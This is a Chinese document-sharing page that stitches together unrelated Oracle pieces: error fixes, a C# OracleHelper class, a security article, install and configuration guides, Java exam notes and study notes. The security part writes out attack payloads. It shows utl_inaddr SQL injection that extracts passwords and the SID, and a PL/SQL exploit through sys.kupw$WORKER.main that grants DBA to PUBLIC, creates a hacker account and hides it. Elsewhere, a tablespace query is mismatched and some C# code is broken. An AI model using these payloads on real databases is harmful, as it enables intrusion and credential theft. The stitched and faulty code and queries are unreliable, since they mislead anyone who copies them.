电脑桌面
添加盘古文库-分享文档发现价值到电脑桌面
安装后可以在桌面快捷访问

oracle数据库操作工具

来源:莲生三十二作者:开心麻花2026-01-071

oracle数据库操作工具(精选11篇)

oracle数据库操作工具 第1篇

ORA-01650:unable to extend rollback segment NAME by NUM intablespace NAME

产生原因:上述ORACLE错误为回滚段表空间不足引起的,这也是ORACLE数据管理员最常见的ORACLE错误信息,当用户在做一个非常庞大的数据操作导致现有回滚段的不足,使可分配用的回滚段表空间已满,无法再进行分配,就会出现上述的错误。

解决方式:使用“ALTER TABLESPACE tablespace_name ADD DATAFILE filename SIZE size_of_file”命令向指定的数据增加表空间,根据具体的情况可以增加一个或多个表空间。当然这与还与你主机上的裸盘设备有关,如果你主机的裸盘设备已经没有多余的使用空间,建议你不要轻意的增加回滚段表空间的大小,可使用下列的语句先查询一下剩余的tablespace空间有多少:

 

 

 

Select user_name,sql_text from V$open_cursor where user_name=’’;

 

如果多余的空间比较多,就可以适当追加一个大的回滚段给表空间使用,从而避免上述的错误。你也可以用以下语句来检测

一下rollback segment的竞争状况:

 

 

 

Selectclass,count from V$waitstat where calssin(system undo header’,’system undo block’,’undo header’,’undo block’);

 

 

 

 

Select sum(value) from V$sysstat where namein(db_block_gets’,’consistents gets’);

 

如果任何一个class in count/sum(value)大于1%,就应该考虑增加rollback segment,

ORA-01652:unable to extend temp segment by num in tablespace name

产生原因:ORACLE临时段表空间不足,因为ORACLE总是尽量分配连续空间,一但没有足够的可分配空间或者分配不连续就会出现上述的现象。

解决方法:我们知道由于ORACLE将表空间作为逻辑结构-单元,而表空间的物理结构是数据文件,数据文件在磁盘上物理地创建,表空间的所有对象也存在于磁盘上,为了给表空间增加空间,就必须增加数据文件。先查看一下指定表空间的可用空间,使用视图SYS.DBA_FREE_SPACE,视图中每条记录代表可用空间的碎片大小:

oracle数据库操作工具 第2篇

1,需要System.Data.OracleClient 这个DLL,下载地址:good.gd/1961806.htm

2,这个公共类必须放在UI层,

如果放到非UI层,就会出问题,俺也没有找到原因。望智者告之,万分感谢!

[csharp]

using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.Data;

using System.Data.OracleClient;

namespace JonseTest

{

public static class OracleHelper

{

private static string _sConnString = string.Empty;

//string sConnStr = @“Data Source=**;User Id=**;Password=**;”;

public static string ConnString

{

get { return _sConnString; }

set { _sConnString = value; }

}

public static bool TestConn(string sConnStr = “”)

{

OracleConnection myConn = null;

bool bResult = false;

try

{

if (string.IsNullOrEmpty(sConnStr)) sConnStr = _sConnString;

myConn = new OracleConnection(_sConnString);

myConn.Open;

}

catch (Exception ex)

{

}

finally

{

if (myConn != null && myConn.State.ToString() == “Open”)

bResult = true;

}

myConn.Close();

return bResult;

}

public static DataTable GetDataTable(out string sErr, string sSQL, string sConnStr = “”, params OracleParameter[] cmdParams)

{

DataTable dt = null;

sErr = string.Empty;

if (string.IsNullOrEmpty(sConnStr)) sConnStr = _sConnString;

OracleConnection accConn = null;

try

{

accConn = new OracleConnection(sConnStr);

OracleCommand accCmd = new OracleCommand(sSQL, accConn);

accConn.Open();

if (cmdParams != null)

{

foreach (OracleParameter parm in cmdParams)

accCmd.Parameters.Add(parm);

}

OracleDataAdapter adapter = new OracleDataAdapter(accCmd);

dt = new DataTable();

adapter.Fill(dt);

accConn.Close();

}

catch (Exception ex)

{

sErr = ex.Message;

}

return dt;

}

// 取dataset

public static DataSet GetDataSet(out string sError, string sSQL, string sConnStr = “”, params OracleParameter[] cmdParams)

{

DataSet ds = null;

sError = string.Empty;

try

{

if (string.IsNullOrEmpty(sConnStr)) sConnStr = _sConnString;

OracleConnection conn = new OracleConnection(sConnStr);

conn.Open();

OracleCommand cmd = new OracleCommand();

cmd.Connection = conn;

cmd.CommandText = sSQL;

if (cmdParams != null)

{

foreach (OracleParameter parm in cmdParams)

cmd.Parameters.Add(parm);

}

OracleDataAdapter dapter = new OracleDataAdapter(cmd);

ds = new DataSet();

dapter.Fill(ds);

}

catch (Exception ex)

{

sError = ex.Message;

}

return ds;

}

// 取某个单一的元素

public static object GetSingle(out string sError, string sSQL, string sConnStr)

{

DataTable dt = GetDataTable(out sError, sSQL, sConnStr);

if (dt != null && dt.Rows.Count >0)

{

return dt.Rows[0][0];

}

return null;

}

// 取最大的ID

public static Int32 GetMaxID(out string sError, string sKeyField, string sTableName, string sConnStr = null)

{

DataTable dt = GetDataTable(out sError, “select nvl(max(” + sKeyField + “),0) as MaxID from ” + sTableName, sConnStr);

if (dt != null && dt.Rows.Count >0)

{

return Convert.ToInt32(dt.Rows[0][0].ToString());

}

return 0;

}

// 执行insert,update,delete 动作,也可以使用事务

public static bool UpdateData(out string sError, string sSQL, string sConnStr = “”, OracleParameter[] cmdParams = null, bool bUseTransaction = false)

{

int iResult = 0;

sError = string.Empty;

if (string.IsNullOrEmpty(sConnStr)) sConnStr = _sConnString;

if (!bUseTransaction)

{

try

{

OracleConnection conn = new OracleConnection(sConnStr);

if (conn.State != ConnectionState.Open)

conn.Open();

OracleCommand cmd = new OracleCommand();

cmd.Connection = conn;

cmd.CommandText = sSQL;

if (cmdParams != null)

{

foreach (OracleParameter parm in cmdParams)

cmd.Parameters.Add(parm);

}

iResult = cmd.ExecuteNonQuery();

}

catch (Exception ex)

{

sError = ex.Message;

iResult = -1;

}

}

Oracle数据库安全 第3篇

为什么需要oracle数据安全, 据统计截止2009年底, 据相关部门调查, 在德国741家公司中有被数据库入侵的家数高达百分之83.6, 造成直接经济损失2.8亿欧元。并按照被入侵次数按每年10%的速率增长, 受影响部门有销售部、设计部、人事部和市场部。攻击者大多是内部员工和业界竞争者。

又根据调查每个中等规模的公司, 大约需要1000左右的oracle数据库实例, 相当于300个生产数据库, 但是其中核心的数据库实例只占2%-5%, 平均每个DBA要管理30-100个数据库实例。10-20%的数据库是过期的版本, 80-90%的数据库运行相同的版本。

一般数据库应用中我们采用的结构为客户端、中间件和数据库服务器三层结构。即使这样我们还是有漏洞, 如没有统一的认证系统, 不能定时的更换密码, 在杀毒和防木马软件方面财力投入不够, 管理上缺乏安全意识等。

二、问题与解决方式

三、黑客攻击举例

1、弱密码攻击举例:

黑客可以通过命令c:>checkpwd system/secretpw@ora10104local password_file.txt进入本地文件glogin.sql和login.sql文件, 还可以通过sqlplus sys@ora10g4as sysdba连接glogin.sql文件, 从而达到创建用户和修改提升权限的目的。

2、利用系统漏洞:

在url_inaddr中默认有授权公共账户的域名解析, select utl_inaddr.get_host_name (127.0.0.1’) fromdual;通过修改错误信息得到系统账户, select url_addr.get_host_name ( (select username||=’||password from dba_users where rownum=1) ) from dba_users where rownum=1) ) from dual;从而得到系统密码。

3、通过SQL注入攻击:

http://ec.*****/prelex/detail_dossier_real.cfm?CL=en&Dosld=124131||url_inaddr.get_host_name ( (select%20’SID=’||global_name%20from%20global_name) ) , 这样可以得到SID, 同样道理通过改上述字段中的global_name为all_users可以得到相关用户信息。

4、PL/SQL入侵:

介绍一个典型的PL/SQL入侵create or replace function F1 return number authid current_user as pragma autonomous_transaction;begin execute immediategrant dba to public’;commit;return 1;end;/Expolit exec sys.kupw$WORKER.main (x’, ’YY’’and1=user1.f1–mytag12’) ;最后通过relogin或者运行set role dba变为DBA。 (create user hacker identified by hacker;crant dba to hacker;一些经验老道的黑客会隐藏自己的身份update sys.user$set datats#=777;

Commit;测试sqlplus hacker/hacker

四、解决方案

1、测试打开2-3个典型数据库

2、尝试定位问题所在

3、修复问题

4、安装补丁修改策略

5、扫描更多的数据库

五、介绍几款扫描工具

1、Sentrigo Hedgehog (图形加命令行的高级扫描漏洞软件)

2、RDSrepscan (容易上手的网页界面数据库扫描软件)

总结

1、数据库安全是一个循序渐进的过程, 它需要不断地修复和查找漏洞。

2、需要设置防火墙和入侵检测系统辅助管理员实施。

oracle数据库操作工具 第4篇

关键词 VMware虚拟机 LINUX操作系统 oracle数据库

中图分类号:TP3 文献标识码:A

1 VMware虚拟机

VMWare虚拟机软件是一个“虚拟PC”软件,如图1所示。VMware可以使你在一台机器上同时运行二个或更多Windows、DOS、LINUX系统。与“多启动”系统相比,VMWare采用了完全不同的概念。多启动系统在一个时刻只能运行一个系统,在系统切换时需要重新启动机器。VMWare是真正“同时”运行,多个操作系统在主系统的平台上,就像标准Windows应用程序那样切换。而且每个操作系统你都可以进行虚拟的分区、配置而不影响真实硬盘的数据,你甚至可以通过网卡将几台虚拟机用网卡连接为一个局域网,极其方便。安装在VMware操作系统性能上比直接安装在硬盘上的系统低不少,因此,比较适合学习和测试。

图1:VMWare虚拟机软件界面

2安装并配置VMware虚拟机

Vmware软件的安装过程不详述,因为很简单,只要按照提示一步步往下走就ok。在这里提醒一句,如果要配置ORACLE RAC,一定不要安装vmware workstation版本,而要安装vmware server版本,这样在创建共享磁盘过程的时候才会比较顺畅。

VMware安装完毕后,利用它可以建立多个虚拟机,每新建一个虚拟机,就会要求你建立一个配置文件。这个配置文件实际上相当于新电脑的“硬件配置”,你可以在配置文件中决定虚拟机的硬盘如何配置,内存多大,准备运行哪种操作系统,是否有网络等。配置Linux虚拟机的步骤如下。

(1)选择File菜单下的“New Virtual Machine”出现新虚拟机向导后单击“下一步”,选择“Typical”典型安装。

(2)再单击“下一步”,在选择操作系统界面的“Guest Operation System”中选择“Linux”,然后单击Version对应的下拉菜单选择具体的Linux版本,此处我们选择“Red Hat Linux”。

(3)单击“下一步”进入安装目录选择界面。根据需要选择好后,单击“下一步”按钮,出现设置虚拟机内存大小的界面。Linux9.0对内存的要求推荐使用192MB。

(4)单击“下一步”按钮进入网络连接方式选择界面。在此,我们选择Brided方式。

(5)单击“下一步”按钮进入虚拟磁盘的设置界面。这里有三种方式(Create a new virtual disk、Use an existing virtual disk、Use a physical disk)可供选择,建议初学者选择“Create a new virtual disk”,其含义是新建一个虚拟磁盘,该虚拟磁盘只是主机上的一个独立文件。

(6)在“下一步”中设置磁盘大小。在此,我们采用默认的4GB。

(7)单击“下一步”进入文件存放路径选择界面。在此界面可单击Browse按钮进行设置。此处我们使用默认值,单击“完成”按钮。至此,完成一个虚拟机的配置。

3 VMware下Linux的安装

以上相当于组装了一台新的计算机,接下来的工作便是安装操作系统了。安装前需做好准备工作:购买一套Red Hat Linux 9.0的安装盘,共三张。或下载Red Hat Linux 9.0安装所需要的三个ISO文件。下面,我们以使用ISO镜像文件安装为例讲述。

(1)安装第一张虚拟光盘(如果直接用光盘安装,可省去此步及后述的第5步,直接将光盘插入物理光驱即可)选择VM菜单下的Settings选项,单击Hardware选项卡下的CD-ROM1,在右边的“connecti on”单选按钮组中选择“Use ISO image”,按“Browse”选择3个光盘文件中的第一个,然后按“OK”。

(2)启动虚拟机。点击工具栏上的绿色启动按钮或屏幕显示区的Start this virtual machine命令,然后按“OK”。RED HAT会自动进入安装程序的界面。首先询问是以图形界面还是以文本界面安装,依据提示按回车选择图形界面安装,接下来询问是否要测试光驱,这里选择不要即可。

(3)设置分区。依提示选择完安装语言、键盘、鼠标、安装类型(与Windows类似,此处不再详述)后进入磁盘分区界面。在接下来的窗口中一路默认连按“下一步”后,弹出“你已选择了要在下列驱动器内删除所有分区……”的警告,选择“是”进入引导程序装载界面。

(4)设置根口令。在引导程序装载界面连按“下一步”,设置完系统语言和时区后进入根口令的设置界面,设置好口令后连按“下一步”,等待安装软件包,直到出现更换光盘的提示。

(5)安装第二和第三张ISO光盘设置方法同1,只不过是分别选择3个光盘文件中的第二、三个。第三张盘读完后,系统问是否做启动盘,这个根据自己需要选择,然后就是显卡等的设置,一路默认。最后选一个“退出”,VMware内系统重启。

(6)创建个人用户账号和密码。重启后,系统提示你创建一个个人账号和密码,和Windows中创建一个新用户相当。

(7)其他设置。选择日期和试听声卡后问你是否注册,选择“否,我不想注册我的系统”,接下来问有无附加安装,在此我们先不安装,直接按“前进”。VMware内系统再次重启。

(8)登录系统。启动后,系统询问用户名和密码。输入在步骤6中设置的户名和密码或输入用户名“root”和第4步中你所设置的根口令即可。至此,出现Red Hat 9的界面,Linux的安装完成了。

nlc202309021313

(9)安装VMware tools。安装完Linux之后,还需要对此VM安装VMware tools,这相当于给Linux安装各种驱动程序。首先以root身份进入Linux,按CTRL+ALT组合键,进入主操作系统,点击VM菜单下的VMware Tools Install子菜单。在弹出的对话框中单击“install”,出现包含一个Vmware-linux-tools.tar.gz文件的cdrom对话框。把这个文件解压缩后,执行其中的Vmware-install.pl文件。

4安装 Oracle 数据库

4.1获取安装文件

安装Oracle数据库可以从Oracle官方网站下载安装文件,并且创建必要的用户和用户组,设置内核参数,配置shell参数。

4.2安装前准备工作

在安装Oracle数据库之前需要完成一些准备工作,包括系统软件的安装、安装目录的创建和环境变量的设置等,Oralce的安装程序需要寻找一些环境变量来设定安装目录,因此,需要预先设置好ORACLE_BASE和ORACLE_HOME这两个环境变量。

4.3安装Oracle

因为Oracle的安装程序中的jre的配置问题,当使用中文界面的时候,会出现汉字显示方块的情况,因此,通过设置如下环境参数来强制使用英文界面来进行安装:export LANG=en_US.UTF-8因为Debian并不是Oralce官方支持的Linux发行版,因此,需要以ignoreSysPrereqs这个参数来进行安装,强制让安装程序不进行系统检查:./runInstaller-ignoreSysPrereqs在安装过程中不创建数据库,等数据库程序文件安装完成后,再使用dbca这个工具来创建数据库。在Oracle数据库安装结束后,安装程序要求以root身份运行两个脚本(也就是在系统目录下创建一些文件),因为Debian中没有nobody组,只有nogroup组,因此,需要对root.sh文件进行一些修改,把其中的$CHGRP nobody $ ORACLE _HOME/bin/extjob换成 $CHGRP nogroup $ ORACLE_HOME/bin/ext-job。

4.4数据库的管理和维护

4.4.1准备工作

在以后的管理过程中,都是以 oracle 用户来进行的,因此,需要设置一下 oracle 用户登录后的环境变量,在 oracle 的家目录的.bashrc 中添加如下信息:

export ORACLE_BASE = / data / ORACLE

export ORACLE _ HOME = / data / ORACLE / app /10.2.0 / db_1

export PATH = $ PATH: $ ORACLE_HOME / bin

export LD _ LIBRARY _ PATH = $ ORACLE _HOME / lib

export NLS_LANG = SIMPLIFIED CHINESE_CHINA.UTF8

4.4.2数据库的启动

可以使用dbstart命令来启动相应的数据库,不过,在运行这个命令之前,需要在/etc/oratab中进行配置,以让dbstart命令知道需要自动启动哪些数据库,/etc/oratab中配置信息的格式如下:

ORACLE_SID:ORACLE_HOME:

ORACLE_SID是创建的本地NET服务名,ORACLE_HOME是oralce的安装目录,N表示不自动启动,Y表示自动启动,

配置完这些信息后,就可以以oracle用户身份运行dbstart,命令执行成功后,可以通过lsnrctl来查看状态。

参考文献

[1] 侯茂胜.VMware在计算机网络技术教学中的应用[J].科技资讯,2008(05).

[2] 俊英.VMware环境下Linux集群的构建[J].电脑与电信,2008(09).

[3] 廖水莲.VMware架构及虚拟机系统安装的实现[J].电脑编程技巧与维护,2008(15).

oracle数据库操作工具 第5篇

1.配置tnsnames.ora(我的安装在D:oracleproduct10.2.0db_1networkADMIN)

2.登录plsql时填写相应信息

第一步:配置tnsnames.ora

找到tnsnames.ora文件,用记事本方式打开,你可以看到像如下配置信息

ORCL =

(DESCRIPTION =

(ADDRESS =(PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))

(CONNECT_DATA =

(SERVER = DEDICATED)

(SERVICE_NAME = orcl)))

上面这段是连接本地(安装好Oracle默认的,你也可以修改数据库别名,将“ORCL”换成其他的)的数据库的要连接远程的Oracle数据库则再增加配置信息如下

自己定义远程数据库名称(别名)=

(DESCRIPTION =

(ADDRESS =(PROTOCOL = TCP)(HOST = 远程服务器IP)(PORT = 1521))

(CONNECT_DATA =

(SERVER = DEDICATED)

(SERVICE_NAME = 远程服务器上数据库名称)))

注意:别名不能与其他数据库(本地、远程)的别名相同,它可以跟相应远程服务器上的数据库名称不一样,要连接多个远程Oracle数据库,照样子在来几段上述配置信息即可。

第二步:登录plsql

Username:

Password:

Database:要登录的数据库名称(别名)

Connect as:

注意:一定要写对上面面的红色部分(其余的3个字段我就不说了),且跟tnsnames.ora配置文件中的别名相同

oracle数据库操作工具 第6篇

1、启动数据库

2、启动监听

启动数据库:

以oracle身份运行:

$sqlplus /nolog

>connect / as sysdba

>startup

######遇到无法启动,执行关闭命令

启动关闭监听

$lsnrctl

>start

>stop

关闭数据库:

以oracle身份运行:

$sqlplus /nolog

>connect / as sysdba

>shutdown immediate

数据库oracle笔试 第7篇

我在考场上写的n=5, i=2; 运行得出结果却为9. 分析了一下得出原因在于: 如果n<5的话,那么它会从其自身起一直到5都会执行j++这条语句, 因为此代码片段中并没有使用 break。

n与i有多种组合值, 如(1,1)、(4,1)和(5,1)等都可以。

3、复习JAVA的 “内部类”章节。

4、复习JAVA的` “反射”章节。

5、温习操作系统 部分的知识。

6、数组问题:

如我声明 int [] a = new int[1] , 那么a[0]的默认值就为0。 我起初理解错误了, 我认为如此声明只是为数组开辟了空间而已, 在其空间上默认值为NULL。

7、关于启动 gc 的方法:

System.gc 和 RunTime()类的 gc() 方法, 但是即使调用了前面的方法也不保证一定会进行回收。

拓展之:

a. GC并不是定期来回收你的垃圾内存,即是根据需要来回收。

b. GC的回收是因为:它认为你的系统已经开始内存紧张(这个就是jvm的神奇)

c. 即使GC开始准备清理你的垃圾内存,但是如果该内存的引用还存在(不等于null), 这个时候GC仍然无能为力!

d、RunTime类的 public static Runtime getRuntime() 返回: 与当前 Java 应用程序相关的 Runtime 对象。

8、int i=10, double e = 10.0; 判断(i==e)、(i==10.0)的真假。

我认为一个是int类型,一个是double类型,它们分属不同的类型, 所以我认为其是错误的, 然而经运行测试发现是正确的。

9、public static void main(String[] args){

StringBuffer str1 = new StringBuffer(“a”);

StringBuffer str2 = new StringBuffer(“b”);

oracle数据库迁移 第8篇

摘 要:本文介绍了Oracle数据库基于Linux系统迁移的研究问题。在数据库领域一直处于领先地位的Oracle数据库以其良好的可移植性、可靠性和高效性,倍受各级用户的推崇和喜爱。随着Oracle数据库的不断更新和发展,其使用用户的群体也在不断的增加,因此对Oracle数据库的存储迁移技术的研究在国内外如雨后春笋般不断发展。

关键词:oracle,数据迁移,跨平台

中图分类号: TP391 文献标识码: A 文章编号: 1673-1069(2016)25-195-2

0 引言

伴随着IT行业的迅速发展,IT系统中数据的安全性,已经是对企业运营产生了重大影响。而数据库的安全迁移也为IT系统的可持续运行和数据安全提供一道保护屏障。而且近年来频繁出现的自然灾害或者突发事件也让越来越多的人们意识到,原有的数据存储方式已经无法满足企业的需要。本文正是从数据库迁移的实际操作中总结整理而成。

1 oracle数据库文件构成

数据库是一种物理的存储结构,它是由多种物理文件组成的,在Oracle数据库系统中分为,核心文件和非核心文件两大类[1]。其中核心文件由数据文件,控制文件,日志文件,参数文件组成,非核心文件由密码文件,告警日志文件,各种跟踪文件组成。

控制文件:控制文件是一个二进制的文件,它描述了数据库当前的物理状态,记录了RMAN备份的元数据。控制文件包含有数据库的名称、数据库的创建信息、表空间的信息、数据文件的状态、日志文件的信息、备份的信息、检查点的信息等。

数据文件:,一个数据库中一定至少有一个数据文件(system01.dbf),如果一个数据库存在多个数据文件,应该分别把它们存放在不同的磁盘上,这样做不仅可以提高数据的存取速度,有利于提高数据库的性能,而且还能防止数据文件同时被损坏,实现高度容灾。

日志文件:数据库日志文件包括归档日志和非归档日志,记录了数据库的所有修改信息,归档日志会在数据库切换日志时,备份历史日志,日志记录的是数据库改变的信息、因此当数据库损坏时可以通过日志文件实现数据库的完全恢复、不完全恢复,而非归档日志不会备份历史日志,只能恢复到数据库最后一次备份时的状态[2]。

临时文件:创建数据库对象的时候指定的是使用表空间,一个表空间至少包含一个数据文件,临时文件是临时表空间对应的数据文件,并不是已用完就被删除的,而是指这个文件存储的对象是临时存在的对象。临时文件主要用于大量的排序的时候,如果不能在数据库的内存中做排序,就会把临时文件作为中转。

参数文件:参数文件是记录数据库系统配置的文件,每次数据库一启动,Oracle就会自动地从参数文件中读取系统参数的设置来配置并启动数据库。如内存的大小分配,此次启动可以打开的进程数和会话数等。

2 Oracle数据库迁移的迁移方案

oracle数据库状态分类:

nomount:此状态可以读取初始化参数文件,启动实例,可以进行数据库的创建。

mount:数据库维护状态,读取控制文件。

open: 打开数据文件,日志文件,是数据库可以对全体用户提供服务了。

数据库物理迁移过程大体可分为以下四个步骤:

第一步:加载初始化文件

oracle启动后,数据库默认会读取一个二进制的初始化文件spfile.ora,可在系统启动时指定初始化文件的路径,如startup pfile="pfilesid.ora" nomount或者startup spfile="spfilesid.ora" nomount。初始化过程可根据系统错误提示内容,用pfile进行编辑处理,然后重新startup就可以了。

第二步:加载控制文件,保证在初始化文件中,控制文件的路径正确

在初始化文件中定义控制文件的位置,在确保控制文件路径正确的情况下,才能对控制文件进行加载,其命令是alter database mount。

第三步:加载数据库,包括重做日志文件

加载控制文件之后,执行命令alter database open对数据库进行开启,整个数据库启动过程完成了。

第四步:启动数据库成功之后,就说明迁移成功,可以观察数据是否丢失,然后启动监听和配置文件等。

3 Oracle数据库迁移具体实践

下面以把数据库从文件系统迁移到ASM磁盘组为例进行演示步骤:

首先,ASM是把多个磁盘组织为一个磁盘组,作为Oracle的逻辑卷管理器,利用ASM技术可以把数据均匀分布在这些磁盘上来解决从文件区到物理磁盘块的映射问题。这种设计除了定位文件区非常快速之外,还在增加或删除磁盘时有所帮助,因为文件区的位置不需要调整[3]。

把数据库从文件系统迁移到ASM磁盘组主要是把数据库的控制文件,数据文件和日志文件分别放在不同的磁盘组上,实现对这些文件的一个冗余放置,还简化了对数据文件的管理。

3.1 迁移数据库

①迁移数据库前先在RMAN下备份数据库,设置系统冗余度,并打开优化器和控制文件的自动备份功能

②创建迁移的控制文件存放的目录

③修改参数文件把控制文件的默认位置修改到ASM磁盘组上,然后用Pfile来生成spfile文件

SQL> create pfile from spfile;

④利用RMAN工具恢复控制文件,将数据库启动到mount状态;加载控制文件,如果出现错误,就说明控制文件所在的路径和参数文件路径不一致,要修改初始化参数,文件中控制文件的参数,然后重新加载。

4 总结与展望

数据库管理技术是现今社会中信息科学与技术的重要组成部分,数据库迁移技术的研究保证了数据安全以及高效的存储[4][5]。在实际操作过程中,Oracle数据库基于Linux系统的迁移过程中会出现各种各样的情况,如果想要安全完整的迁移数据库,一定要先做好备份,然后反复的实验验证,最终才能保证数据库完整安全的迁移。

参 考 文 献

[1] 张敏.数据库安全研究现状与展望[J].中国科学院院刊,2011.03.

[2] 赵钦,周丹.政府办公自动化信息系统数据迁移解决方案[J].广西科学院学报,2008.24.

[3] 段卫国,李俊春.Oracle 数据库数据迁移技术研究[J].信息技术,2015.8.

[4] Kathy Rich.Oracle Data Pump,10g Release 2 (10.2)[M].Oracle Database Utilities, 2005.

ORACLE数据库学习心得 第9篇

一个好的程序,必然联系着一个庞大的数据库网路...今年我们学习了 oracle数据库这门课程,起初的我,对这个字眼是要多陌生有多陌生,后来上课的时候听一会老师讲课,偶尔再跟上上机课,渐渐的学会了不少东西,但我感觉,我学到的仍是一些皮毛而已,怀着疑惑和求知的心态,我在网上搜索了关于 oracle数据库的一些知识。

1.ORACLE的特点: 可移植性 ORACLE采用C语言开发而成,故产品与硬件和操作系统具有很强的独立性。从大型机到微机上都可运行ORACLE的产品。可在UNIX、DOS、Windows等操作系统上运行。可兼容性 由于采用了国际标准的数据查询语言SQL,与IBM的SQL/DS、DB2等均兼容。并提供读取其它数据库文件的间接方法。

可联结性 对于不同通信协议,不同机型及不同操作系统组成的网络也可以运行ORAˉCLE数据库产品。

2.ORACLE的总体结构

(1)ORACLE的文件结构 一个ORACLE数据库系统包括以下5类文件:ORACLE RDBMS的代码文件。

数据文件 一个数据库可有一个或多个数据文件,每个数据文件可以存有一个或多个表、视图、索引等信息。

日志文件 须有两个或两个以上,用来记录所有数据库的变化,用于数据库的恢复。控制文件 可以有备份,采用多个备份控制文件是为了防止控制文件的损坏。参数文件 含有数据库例程起时所需的配置参数。

(2)ORACLE的内存结构 一个ORACLE例程拥有一个系统全程区(SGA)和一组程序全程区(PGA)。

SGA(System Global Area)包括数据库缓冲区、日志缓冲区及共享区域。

PGA(Program Global Area)是每一个Server进程有一个。一个Server进程起动时,就为其分配一个PGA区,以存放数据及控制信息。

(3)ORACLE的进程结构ORACLE包括三类进程: ①用户进程 用来执行用户应用程序的。

②服务进程 处理与之相连的一组用户进程的请求。

③后台进程 ORACLE为每一个数据库例程创建一组后台进程,它为所有的用户进程服务,其中包括: DBWR(Database Writer)进程,负责把已修改的数据块从数据库缓冲区写到数据库中。LGWR(Log Writer)进程,负责把日志从SGA中的缓冲区中写到日志文件中。

SMON(System Moniter)进程,该进程有规律地扫描SAG进程信息,注销失败的数据库例程,回收不再使用的内存空间。PMON(Process Moniter)进程,当一用户进程异常结束时,该进程负责恢复未完成的事务,注销失败的用户进程,释放用户进程占用的资源。ARCH(ARCHIVER)进程。每当联机日志文件写满时,该进程将其拷贝到归档存储设备上。另外还包括分布式DB中事务恢复进程RECO和对服务进程与用户进程进行匹配的Dnnn进程等。

3.ORACLE的逻辑结构

构成ORACLE的数据库的逻辑结构包括:(1)表空间

(2)5种类型的段(segment)

①数据段;②索引段;③回滚(rollbock)段;④临时段;⑤自举(bootstrap)段。

段的分配单位叫范围(Extent)

表空间(Tablespace)一个数据库划分成的若干逻辑部分称为表空间。一个数据库可以有一个或多个表空间,初始的表空间命名为SYSTEM,每一个逻辑表空间对应于一个或多个物理文件。DBA使用表空间做以下工作: 控制数据库对象,如表、索引和临时段的空间分配。为数据库用户设置空间配额。

利用个别表空间的在线或离线,控制数据的可用性。后备或恢复数据。

通过分配空间,以改进性能。

在每个数据库中都存在SYSTEM表空间,它在建立数据库时自动建立。在该表空间中,包含数据库的数据字典,其中存储全部数据库对象的名字和位置。SYSTEM表空间总是在线的,像其它表空间一样,可以通过增加新的数据库文件来扩大。一个表空间可包含许多表和索引。但一个表和索引不能跨越表空间,可跨越组成表空间的文件。在DB的打开的情况下,DBA利用ALTER TABLESPACE语句,可以实施表空间的在线或离线。SYSTEM表空间必须在线。表空间离线有下列原因: 一般为了使部分数据库不能使用,而允许正常存取数据库其余部分。执行表空间离线备份。

一个离线的表空间,不能被应用用户读或编辑。

可以增加数据文件扩大已有的表空间,也可增加新的表空间使数据库容量增大,或分配空间给某个应用。使用ALFER TABLESPACE ADD FILE语句将另一个数据文件加入到已存在表空间中。使用CREATE TABLESPACE语句可建立一个新的表空间。段(segment)表空间中的全部数据存储在以段划分的数据库空间中。一个段是分配给数据库用于数据存储的范围的集合。数据可以是表、索引或RDBMS所需要的临时数据。段是表空间的下一个逻辑存储的级别。一个段不能跨越一个表空间,但可跨越表空间内的文件。一个数据库最多需要五种段类型: 数据段 一个包含一个表(或聚集)的全部数据,一个表(或聚集)总有一个单个数据段。

索引段 一个索引段包含对一个表(或聚集)建立的一个索引的全部索引数据。一个表可以有一个、多个或者没有索引段,取决于它所拥有的索引个数。一个聚集必须至少有一个索引段,即在聚集码上建立聚集索引。

回滚段 每个DB有一个或多个回滚段。一个回滚段是DB的一部分,它记录在某一情况下被撤消的动作。回滚段用于事务控制和恢复。

临时段 在处理查询时,ORACLE需要临时工作空间,用于存储语句处理的中间结果,这个区称为临时段。

自举段 自举段在SYSTEM表空间中,在数据库建立时建立。它包括数据字典定义,在数据库打开时装入。

4.用户数据库对象

由用户建立的对象驻留在表空间中,含有真正的数据。数据库对象有表、视图、聚集、索引、伪列和序号生成器。

(1)聚集(Cluster)聚集是存储数据的一种可选择的方法。聚集包括存储在一起的一组表,它们共享公共列并经常一起使用。由于内容相关并且物理地存储在一起,存取时间得到改进,存储空间可以减少。聚集是一种优化措施。

聚集对性能的改进,依赖于数据的分布和SQL操作的内容。特别是使用聚集对连接非常有利。可以明显地提高连接的速度。建立聚集命令的基本格式: SQL>CREATE CLUSTER〈聚集名〉(列定义[,…]);利用聚集建立表命令基本格式: SQL>CREATE TABLE〈新表名〉(列定义[,…]CLUSTER〈聚集名〉(聚集列);在聚集码上必须建立一个聚集索引,对于每一数据块上每个聚集码值有一索引项。这个索引必须在DML语句对聚集表操作前建立。建立索引的语句是:CREATE INDEX索引名ON CLUSTER聚集名;(2)序号生成器 序号(SEQUENCE)生成器为表中的单列或多列生成顺序号。利用序号可自动地生成唯一主码。使用SQL语句定义序号,给出一些信息(如序号名、是升序或降序、每个序号间的间隔和其它信息)。所有序号存储在数据字典表中。

所有序号定义存储在数据字典的SEQUENCE表中。用户可以通过字典视图

USER-SE-QUENCES、ALL-SEQUENCES

和DBA-SEQUENCES查询和存取。建立序号生成器的语句是: CREATE SEQUENCE序号生成器名 其它选项。

一旦序号生成器S被定义。可用S.Currval来引用S序号生成器的当前值。用S.nextval产生下一个新的序号并加以引用。

(3)伪列 伪列的行为像表的一列,但不真正存在于表中,在查询时可引用伪列,但伪列不能插入、删除或修改。

5.数据字典

数据字典ORACLE RDBMS最重要的部分之一。数据字典含有一组系统定义的表,只能读,是关于数据库的引用指南。它可提供以下信息:ORACLE用户的用户名;每个用户被授予的权限和角色;实体的名字和定义;完整性约束 为数据库实体分配的空间;通用的数据库结构;审计信息;触发子程序等的存储。数据字典是以表和视图构成的,像其它数据库数据一样,可用SQL语言查询数据字典。

数据字典在DB建立时建立。每当DB进入操作,数据字典就由ORACLE RDBMS负责修改。数据库建立时有两个默认DBA用户:SYS、SYSTEM。SYS持有基本表中的数据。数据字典包含一组基表和相关的视图,可分为以下几类: 类

描 述

DBA-××× 只有DBA可存取的视图,给出数据库中定义的任何实体的信息

USER-××× 对任何用户可用的视图,给出他们自己的实体的信息

ALL-×××

对任何用户可用的视图,给出用户可存取的所有实体的信息

其中×××代表表名或视图名

下面列出的是一些常用的表或视图的名称。(1)DTAB 描述了组或数据字典的所有表。(2)TAB 用户建的所有基本表、视图和同义词。(3)COL 用户创建基本表的所有列的信息。

